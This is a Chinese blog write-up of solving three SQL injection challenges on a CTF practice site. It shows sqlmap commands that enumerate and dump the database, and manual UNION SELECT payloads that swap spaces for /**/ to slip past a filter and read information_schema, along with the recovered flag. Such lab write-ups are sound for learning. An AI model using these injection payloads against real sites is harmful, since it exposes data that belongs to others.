sql注入学习心得与sqlmap使用心得
做题是最好的老师
首先先来分享一下我用来练手的题目,实验吧中的简单的sql注入1,2,3
不得不说,sql注入真是一个神奇的东西,至少我以前看起来一点头绪都没有的题目能入手了
首先是简单的sql注入3(别问我为什么不是1)
打开链接之后发现
陷入沉思,这时候我决定使用sqlmap对他进行sql注入
在终端输入python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs,然后就开始等他跑,当然跑的过程有点长,就不贴图了
最终结果得到
3个表,这可还行,然后我们打开web1看看里面有什么列
python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1

emmmmm,熟悉的字眼,是flag!
于是我们再进入列看看
python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1

flag已经出现了,这时候我们只需要把它dump出来就好了
python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -C flag -T flag -D web1
最终得到答案 flag{Y0u_@r3_5O_dAmn_90Od}
当然,这样可能比较麻烦,所以第二题我就换了一种方法
输入1发现
,那我们再输入1 and 1 = 1
报错了,emmmmm。于是看了一下别人的wp,原来报SQLi detected!,说明有防护;name: baloteli 说明过滤了“空格”
所以我们先查看有哪些数据库
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
好家伙,又是web1,那我们再看看有什么表
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

找到了这个,那我们再看看里面有什么东西
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1
最后输入1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
答案就出来了flag{Y0u_@r3_5O_dAmn_90Od}
最后我们来说一下简单的sql注入1
当然我的做法和2一样,只不过看列的时候出现了一点问题
于是我直接就进行了最后一步,希望能得到答案,当然最后还是运气好得到答案了
flag{Y0u_@r3_5O_dAmn_90Od}
希望有dalao能解答一下我最后遇到的问题,欢迎评论
sql注入学习心得与sqlmap使用心得的更多相关文章
- SQL注入学习资料总结
转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html 什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...
- sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)
(整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文章最后关于如何预防sql注入) (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文 ...
- SQL学习之SQL注入学习总结
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 测试数据库 我们本文就以如下数据库作为测试数据库,完成我们的注入分析 ...
- sql注入学习笔记 详解篇
sql注入的原理以及怎么预防sql注入(请参考上一篇文章) https://www.cnblogs.com/KHZ521/p/12128364.html (本章主要针对MySQL数据库进行注入) sq ...
- SQL注入之常用工具sqlmap
通常来说,验证一个页面是否存在注入漏洞比较简单,而要获取数据,扩大权限,则要输入很复杂的SQL语句,有时候我们还会对大量的URL进行测试,这时就需要用到工具来帮助我们进行注入了. 目前流行的注入工具有 ...
- Sql 注入----学习笔记2
转载自:http://blog.51cto.com/quiterr/1699964 sql注入 sql注入98年第一次出现在<phrack>54期上. 注入攻击有两个关键条件,第一是用户能 ...
- SQL注入学习-Dnslog盲注
1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...
- 从零开始的sql注入学习(挖坑不填)
首先,本人是小白,这篇文章也只是总结了一下大佬们的sql注入方法,要是有错,请各位大佬指出,以便学习. 虽然我是菜鸡,但是太过基础的sql注入问题也就不再重复的解释了.直接从常用的说起. 实战中常用的 ...
- sql注入之超详细sqlmap使用攻略
0x00 前言 干过sql注入的小伙伴们一定听说过sqlmap的大名,但是面对一些特殊情况,sqlmap也不一定"好使",这里的"好使"并不是真正不好使的意思, ...
随机推荐
- Spacy 使用
# 前提是必须安装: python -m spacy download ennlp = spacy.load('en')text = u"you are best. it is lemmat ...
- HDU - 5818 Joint Stacks 比较大の模拟,stack,erase
https://vjudge.net/problem/HDU-5818 题意:给你两个栈AB,有常规push,pop操作,以及一个merge操作,merge A B 即将A.B的元素按照入栈顺序全部出 ...
- iOS多线程编程之自定义NSOperation(转载)
一.实现一个简单的tableView显示效果 实现效果展示: 代码示例(使用以前在主控制器中进行业务处理的方式) 1.新建一个项目,让控制器继承自UITableViewController. 1 // ...
- Oracle enterprise linux系统的安装以及ORACLE12C的安装
本文所用到的所有参数均位于文后附录中 进入安装配置目录 分区选择i will configure partitioning 之后选择 请为我分区 关闭KDUMP 更改主机名,打开网络连接 在软件安装中 ...
- 2018/03/20 每日一个Linux命令 之 cp
cp 命令用于复制文件/目录 cp [-参数] [复制文件] [复制成为的新文件] 参数(这里只介绍平常会用到的,之后的话遇到再回来补充) -f 覆盖已经存在的目标文件而不给出提示. -i 与-f选项 ...
- 很多人以为 connect 和 disconnect 应该像 new 和 delete 一样成对出现 这是错误的(只要 sender 或 receiver 其中之一不存在了,connect 会自动失效。QObject::connect 函数是线程安全的)
其实我写文章也是边查资料边编辑的 有时候是怕自己的阐述不严谨,有时候是怕自己重复造轮子 就像有些人不停的教大家QLabel QDialog QWidget 个人是不屑的 命令模式 用 Qt's Und ...
- Python开发【模块】:Weakref
Weak references 前言: weakref模块允许python开发者创建弱引用对象. 再接下来中,术语referent代表被弱引用所引用的对象. 一个弱引用对于对象是不能够保持对象存活的: ...
- 解决eslint空格报错等问题
eslint检查代码风格是好的,不过 有些换行报错 空格报错 还有在代码中有 console也是报错 这有些烦人 为了把这些烦人的报错给禁止掉 我们可以在package.json文件中 找到 ...
- 单调栈&单调队列学习笔记!
ummm,,,都是单调系列就都一起学了算了思想应该都差不多呢qwq 其实感觉这俩没有什么可说的鸭QAQ就是维护一个单调的东西,区别在于单调栈是一段进一段出然后单调队列是一段进另一段出?没了 好趴辣重点 ...
- 使用GIT SUBTREE集成项目到子目录(转)
原文:http://aoxuis.me/post/2013-08-06-git-subtree 使用场景 例如,在项目Game中有一个子目录AI.Game和AI分别是一个独立的git项目,可以分开维护 ...